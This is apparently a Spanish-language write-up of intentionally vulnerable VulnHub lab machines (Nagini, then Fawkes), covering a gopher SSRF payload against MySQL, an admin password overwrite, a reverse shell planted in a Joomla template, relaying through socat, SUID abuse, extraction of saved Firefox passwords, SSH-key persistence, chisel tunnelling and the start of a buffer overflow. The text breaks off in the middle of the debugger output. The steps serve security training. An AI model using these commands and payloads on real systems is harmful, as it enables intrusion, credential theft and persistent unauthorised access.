/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: goblin
Give query to execute: show databases;
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01
-----------Made-by-SpyD3r-----------
El payload generado lo copiamos en la web vulnerable a SSRF que encontramos anteriormente, ejecutamos y refrescamos la página hasta que nos muestre la información deseada
Ya sabemos que la base de datos se llama joomla
. Seguimos enumerando tablas con la query USE joomla; show tables;
Localizamos la tbala joomla_users
. Enumeramos columnas de la tabla con la query USE joomla; describe joomla_users;
Encontramos usuario site_admin
y una contraseña hasheada. tratamos de romper el hash con john pero no lo conseguimos.
Si tenemos privilegios podemos cambiar la contraseña del usuario site_admin
. Aplicamos md5
para hashear la password que queramos actualizar y en la herramineta Gopherus y la query USE joomla; update joomla_users set password='482c811da5d5b4bc6d497ffa98491e38' where username='site_admin';
probamos a ver si tenemos capacidad de alterar la password
1
2
❯ echo -n "password123" | md5sum
482c811da5d5b4bc6d497ffa98491e38
Con la contraseña cambiada nos dirigimos al panel de administrador en /joomla/administrator
y accedemos con la password que acabamos de cambiar
Una vez hemos ganado acceso al panel de administración de Joomla nos dirigimos a Extensions -> Templates -> Templates -> Protostar Details and Files
y editamos la plantilla error.php
e insertamos código para entablar reverse shell con la máquina atacante. Hay que mencionar que como no tenemos conexión directa con nuestra máquina debemos enviar la reverse shell al nodo más cercano, en este caso es la máquina Aragog(10.10.0.134)
y con la herramienta socat redirigimos el tráfico a nuestra máquina atacante puesto que desde la máquina Aragog si tenemos conectividad con nuestra máquina atacante
1
2
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:1111,fork TCP:192.168.1.148:443
Nos ponemos en escucha por el pueto 443 en nuestro equipo y tratamos de acontecer un error deliberadamente en el CMS joomla para que nos cargue el recurso error.php
y así ejecute nuestro código malicioso
1
2
3
4
5
6
7
8
9
❯ sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.142] 56018
bash: cannot set terminal process group (690): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Nagini:/var/www/html/joomla$ hostname -I
hostname -I
192.168.100.129 10.10.0.135
Comprobamos que estamos dentro de la máquina Nagini
y vemos que existe otro segmento de red con IP 192.168.100.129. Dentro de la ruta /var/www/html
encontramos otro Horocrux
1
2
3
4
www-data@Nagini:/var/www/html$ cat horcrux1.txt
horcrux_{MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O}
www-data@Nagini:/var/www/html$ echo "MzogU2x5dGhFcmlOJ3MgTG9jS0VldCBkRXN0cm9ZZUQgYlkgUm9O" | base64 -d; echo
3: SlythEriN's LocKEet dEstroYeD bY RoN
Movimiento Lateral I (Nagini)
Dentro del directorio home vemos las carpetas personales de los usuarios snape
y hermoine
. Accedemos al directorio de snape y vemos un archivo .creds.txt
, listamos su contenido y vemos una cadena en base64, decodoficamos y obtenemos credenciales de snape. Migramos de usuario con credenciales obtenidas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@Nagini:/home/snape$ ls -la
total 32
drwxr-xr-x 4 snape snape 4096 Apr 4 2021 .
drwxr-xr-x 4 root root 4096 Apr 4 2021 ..
-rw-r--r-- 1 snape snape 220 Apr 3 2021 .bash_logout
-rw-r--r-- 1 snape snape 3526 Apr 3 2021 .bashrc
-rw-r--r-- 1 snape snape 17 Apr 4 2021 .creds.txt
drwx------ 3 snape snape 4096 Apr 4 2021 .gnupg
-rw-r--r-- 1 snape snape 807 Apr 3 2021 .profile
drwx------ 2 snape snape 4096 Apr 4 2021 .ssh
www-data@Nagini:/home/snape$ cat .creds.txt
TG92ZUBsaWxseQ==
www-data@Nagini:/home/snape$ echo "TG92ZUBsaWxseQ==" | base64 -d; echo
Love@lilly
www-data@Nagini:/home/snape$ su snape
Password:
snape@Nagini:~$
Movimiento Lateral II (Nagini)
Accedemos al directorio de hermoine
y vemos una carpeta bin
. Dentro de la carpeta bin hay un binario su_cp
con privilegios SUID. El binario parece ser una copia de cp
1
2
3
4
5
nape@Nagini:/home/hermoine/bin$ ls -la
total 152
drwxr-xr-x 2 hermoine hermoine 4096 Apr 4 2021 .
drwxr-xr-x 6 hermoine hermoine 4096 Apr 4 2021 ..
-rwsr-xr-x 1 hermoine hermoine 146880 Apr 4 2021 su_cp
Nos copiamos el contenido de la clave id_rsa.pub
que generamos anteriormente en la resolución de la máquina Aragog a un archivo authorized_keys
en la carpeta /tmp
y con el binario su_cp
lo copiamos en la carpeta .ssh
de hermione
1
snape@Nagini:/home/hermoine/bin$ ./su_cp /tmp/authorized /home/hermoine/.ssh/authorized_keys
Ahora con la herramienta ssh
a tarvés de proxychains
podemos conectarnos sin contraseña a la máquina Nagini
con el usuario hermoine
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ proxychains ssh hermoine@10.10.0.135
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.135:22-<><>-OK
Linux Nagini 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 4 16:43:01 2021 from ::1
hermoine@Nagini:~$ whoami
hermoine
En la carpeta personal de hermoine tenemos otro Horocrux
1
2
3
4
5
6
hermoine@Nagini:~$ ls
bin horcrux2.txt
hermoine@Nagini:~$ cat horcrux2.txt
horcrux_{NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=}
hermoine@Nagini:~$ echo "NDogSGVsZ2EgSHVmZmxlcHVmZidzIEN1cCBkZXN0cm95ZWQgYnkgSGVybWlvbmU=" | base64 -d;echo
4: Helga Hufflepuff s Cup destroyed by Hermione
Escalada de Privilegios (Nagini)
Listamos el contenido del directorio personal de hermoine y vemos un directorio oculto .mozilla
. Accedemos a /.mozilla/firefox
y vemos un directorio g2mhbq0o.default
que corresponde a un perfil. Dentro de este directorio vemos el archivo key4.db
y logins.json
que con la herramienta firepwd podemos extraer credenciales almacenadas en texto claro
Para transferirnos los archivos tendremos que hacer uso de la herramienta socat en la máquina Aragog para redirigir el tráfico a nuestro equipo
Con los dos archivos necesarios dentro de la carpeta de firepwd
ejecutamos y extraemos credenciales en texto claro del usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ python3 firepwd.py
globalSalt: b'db8e223cef34f55b9458f52286120b8fb5293c95'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
SEQUENCE {
OCTETSTRING b'0bce4aaf96a7014248b28512e528c9e9a75c30f2'
INTEGER b'01'
}
}
OCTETSTRING b'2065c62fe9dc4d8352677299cc0f2cb8'
}
entrySalt: b'0bce4aaf96a7014248b28512e528c9e9a75c30f2'
b'70617373776f72642d636865636b0202'
password check? True
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
SEQUENCE {
OCTETSTRING b'11c73a5fe855de5d96e9a06a8503019d00efa9e4'
INTEGER b'01'
}
}
OCTETSTRING b'ceedd70a1cfd8295250bcfed5ff49b6c878276b968230619a2c6c51aa4ea5c8e'
}
entrySalt: b'11c73a5fe855de5d96e9a06a8503019d00efa9e4'
b'233bb64646075d9dfe8c464f94f4df235234d94f4c2334940808080808080808'
decrypting login/password pairs
http://nagini.hogwarts:b'root',b'@Alohomora#123'
Con la contraseña obtenida podemos migrar al usuario root y visualizar el útlimo horocrux en la carpeta /root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@Nagini:~# cat horcrux3.txt
____ _ _ _ _
/ ___|___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
| | / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| _ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\____\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Medium
Machine Name: Nagini
Horcruxes Hidden in this VM: 3 horcruxes
You have successfully pwned Nagini machine.
Here is your third hocrux: horcrux_{NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=}
# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com
root@Nagini:~# echo "NTogRGlhZGVtIG9mIFJhdmVuY2xhdyBkZXN0cm95ZWQgYnkgSGFycnk=" | base64 -d;echo
5: Diadem of Ravenclaw destroyed by Harry
Para ganar persistencia copiaremos nuestra clave id_rsa.pub
a un archivo authorized_keys
en la carpeta .ssh
de root
Hemos completado la máquina Nagini de VulnHub!! Happy Hacking!!
Reconocimiento (Fawkes)
Técnicas Vistas (Nagini):
- EXTRA: Running chisel as a client from the Nagini machine to reach the Fawkes machine
- EXTRA: Creating a new socks5 connection through a new port
- EXTRA: FTP connection in passive mode when going through proxychains
- Binary Enumeration - Buffer Overflow (x32) Stack Based
- EXTRA: Execution of the Buffer Overflow sending the reverse shell through 2 machines until it reaches us
- Abusing Sudoers Privilege in a container
- Intercepting the traffic with tcpdump - Discovering credentials in FTP authentication
- SSH Credential Reuse - Escaping the Container
- Abusing sudo 1.8.27 version (CVE-2021-3156) [Privilege Escalation]
Iniciamos el reconocimiento de la máquina Fawkes
. Necesitamos saber su IP y los puertos abiertos que tiene esta máquina. Para ello nos haremos un pequeño script en bash el cual nos ayudará con la tarea. Sabiendo que la IP de la máquina nagini en el segmento es 192.168.100.129 vamos a escanear todas las IP en el segmento 192.168.100.0/24
1
2
root@Nagini:~# hostname -I
192.168.100.129 10.10.0.135
1
2
3
4
5
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 192.168.100.$i" &>/dev/null && echo "[+] Host 192.168.100.$i - ACTIVO" &
done; wait
1
2
3
4
5
root@Nagini:/tmp# ./hostDiscovery.sh
[+] Host 192.168.100.1 - ACTIVO
[+] Host 192.168.100.129 - ACTIVO
[+] Host 192.168.100.130 - ACTIVO
[+] Host 192.168.100.131 - ACTIVO
Ya sabemos que la IP de la máquina Fawkes
es la 192.168.100.130. Ahora procedemos a enumerar los puertos abiertos mediante otro script en bash
1
2
3
4
5
#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/192.168.100.130/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
1
2
3
4
5
6
root@Nagini:/tmp# ./portDiscovery.sh
[+] Port 21 - OPEN
[+] Port 22 - OPEN
[+] Port 80 - OPEN
[+] Port 2222 - OPEN
[+] Port 9898 - OPEN
A partir de este punto para trabajar más cómodamente vamos a crear un túnel por el cual nos vamos a poder acceder a la máquina Fawkes
desde nuestra equipo atacante a pesar de no tener conexión directa al no estar en el mismo segmento. Para esta tarea utilizaremos la herarmienta chisel
la cual debemos subir a la máquina Nagini
que es la que está en el mismo segmento que la Aragog
en donde nos haremos servir de la herramienta socat
para redirigir el flujo de conexión a nuestra máquina atacante donde tenemos funcionando chisel
en modo servidor. Los ejecutaremos de la siguiente forma
1
2
3
4
5
#NAGINI
root@Nagini:/tmp# ./chisel client 10.10.0.134:2322 R:8888:socks
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:2322,fork TCP:192.168.1.148:1234
Deberemos modificar el archivo /etc/proxychains.conf
. Comentamos la línea strict_chain
y descomentamos dynamic_chain
e incluir el nuevo túnel con el puerto 8888
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ cat /etc/proxychains.conf
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /etc/proxychains.conf
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # proxychains.conf VER 3.1
.
.
.
dynamic_chain
.
#strict_chain
.
.
socks5 127.0.0.1 8888
socks5 127.0.0.1 1080
Para tener alcance a esta máquina por el navegador crearemos una nueva norma en FoxyProxy agregando el nuevo túnel
Accediendo por el navegador a la IP de la máquina Fawkes
ya tenemos alcance
Seguimos realizando un escaneo de puertos con nmap
para confirmar los encontrados anteriormente con el script en bash
1
2
3
4
5
6
❯ seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 192.168.100.130 2>&1 | grep "tcp open"
21/tcp open ftp
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
9898/tcp open monkeycom
Reconocimiento FTP (Fawkes)
Iniciamos el reconocimiento del puerto 21. Tratamos de conectarnos de forma anónima al servicio. Nos lo permite pero si tratamos de ejecutar algún comando nos indica un error. Esto es debido a que como estamos trabajando por túneles puede generar conflictos. Para solucionarlo debemos ejecutar el comando passive
para entrar en modo pasivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ proxychains ftp 192.168.100.130
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:8888-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.130:21-<><>-OK
Connected to 192.168.100.130.
220 (vsFTPd 3.0.3)
Name (192.168.100.130:yorch): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
500 Illegal PORT command.
ftp> passive
Passive mode on.
ftp> dir
227 Entering Passive Mode (192,168,100,130,211,220).
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.130:54236-<><>-OK
150 Here comes the directory listing.
-rwxr-xr-x 1 0 0 705996 Apr 12 2021 server_hogwarts
Encontramos un archivo server_hogwarts
. Entramos en modo binario por si se tratara de un archivo binario y nos lo traemos a nuestro equipo para examinarlo detalladamente
1
2
3
4
5
6
7
ftp> binary
200 Switching to Binary mode.
ftp> get server_hogwarts
local: server_hogwarts remote: server_hogwarts
227 Entering Passive Mode (192,168,100,130,127,11).
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.130:32523-<><>-OK
150 Opening BINARY mode data connection for server_hogwarts (705996 bytes).
Se trata de un binario de 32 Bits compilado. Lo ejecutamos aparentemente no hace nada. Con la ayuda de la herramienta strace
podemos ver que acciones está realizando el binario y parece que está levantando un servidor en el puerto 9898
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ file server_hogwarts
server_hogwarts: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1d09ce1a9929b282f26770218b8d247716869bd0, for GNU/Linux 3.2.0, not stripped
❯ strace ./server_hogwarts
execve("./server_hogwarts", ["./server_hogwarts"], 0x7ffdb247b580 /* 37 vars */) = 0
[ Process PID=122493 runs in 32 bit mode. ]
brk(NULL) = 0x9fce000
brk(0x9fce7c0) = 0x9fce7c0
set_thread_area({entry_number=-1, base_addr=0x9fce2c0, limit=0x0fffff, seg_32bit=1, contents=0, read_exec_only=0, limit_in_pages=1, seg_not_present=0, useable=1}) = 0 (entry_number=12)
uname({sysname="Linux", nodename="parrot", ...}) = 0
readlink("/proc/self/exe", "/home/yorch/Labs/VulnHub/Fawkes/"..., 4096) = 52
brk(0x9fef7c0) = 0x9fef7c0
brk(0x9ff0000) = 0x9ff0000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No existe el fichero o el directorio)
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(9898), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
Ejecutamos la aplicación y con netcat nos conectamos a localhost por el puerto 9898
1
2
3
4
5
6
7
8
9
10
11
12
❯ nc localhost 9898
Welcome to Hogwart s magic portal
Tell your spell and ELDER WAND will perform the magic
Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra
Enter your spell:
Recordemos que la máquina Fawkes
tiene el puerto 9898 lo que nos da a entender que el binario encontrado está funcionando en ese puerto de la máquina víctima. Obtenemos el mismo resultado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ proxychains nc 192.168.100.130 9898
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:8888-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:8888-<><>-192.168.100.130:9898-<><>-OK
Welcome to Hogwart s magic portal
Tell your spell and ELDER WAND will perform the magic
Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra
Enter your spell:
Suponiendo que a nivel de input tiene asignado un búffer de tamaño determinado y no está sanitizado, podemos tratar de introducir un input mayor del tamaño esperado y observar si el binario se corrompe lo que nos lleva a pensar en un BOF (BufferOverflow)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#SERVER
❯ ./server_hogwarts
zsh: segmentation fault ./server_hogwarts
#CLIENT
❯ nc localhost 9898
Welcome to Hogwart s magic portal
Tell your spell and ELDER WAND will perform the magic
Here is list of some common spells:
1. Wingardium Leviosa
2. Lumos
3. Expelliarmus
4. Alohomora
5. Avada Kedavra
Enter your spell: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BufferOverflow (Fawkes)
Utilizaremos la herramienta gdb
para iniciar el proceso de debbuging. Ejecutamos el binario a través de la herramienta gdb
y volvemos a introducir un payload en el input con muchas A
. Obervamos que los registros eip
y ebp
se ha sobreescrito con las letras A que hemos introducido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ gdb ./server_hogwarts -q
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.00ms using Python engine 3.9
Reading symbols from ./server_hogwarts...
(No debugging symbols found in ./server_hogwarts)
gef➤ r
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffccec → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx : 0x41414141 ("AAAA"?)
$ecx : 0xffffd2b0 → "our spell: "
$edx : 0xffffd0f4 → "our spell: "
$esp : 0xffffcd60 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x80b3158 → "../csu/libc-start.c"
$edi : 0xffffd2a8 → "\nEnter your spell: "
$eip : 0x41414141 ("AAAA"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd60│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $esp
0xffffcd64│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd68│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd6c│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd70│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd74│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd78│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcd7c│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_hogwarts", stopped 0x41414141 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Eneste punto tenemos que saber en qué punto se sobreescribe el eip
. Nos serviremos de un comando de la apliación gdb
el cual nos crea un patrón de 1024 caracteres
1
2
3
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
Volvemos a ejecutar el binario e introducimos el patrón generado. Mediante el comando pattern offset $eip
sabemos que cantidad de caracteres tenemos que introducir hasta llegar a sobreescribir el eip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffccec → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx : 0x62616162 ("baab"?)
$ecx : 0xffffd2b0 → "our spell: "
$edx : 0xffffd0f4 → "our spell: "
$esp : 0xffffcd60 → "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"
$ebp : 0x62616163 ("caab"?)
$esi : 0x80b3158 → "../csu/libc-start.c"
$edi : 0xffffd2a8 → "\nEnter your spell: "
$eip : 0x62616164 ("daab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd60│+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" ← $esp
0xffffcd64│+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
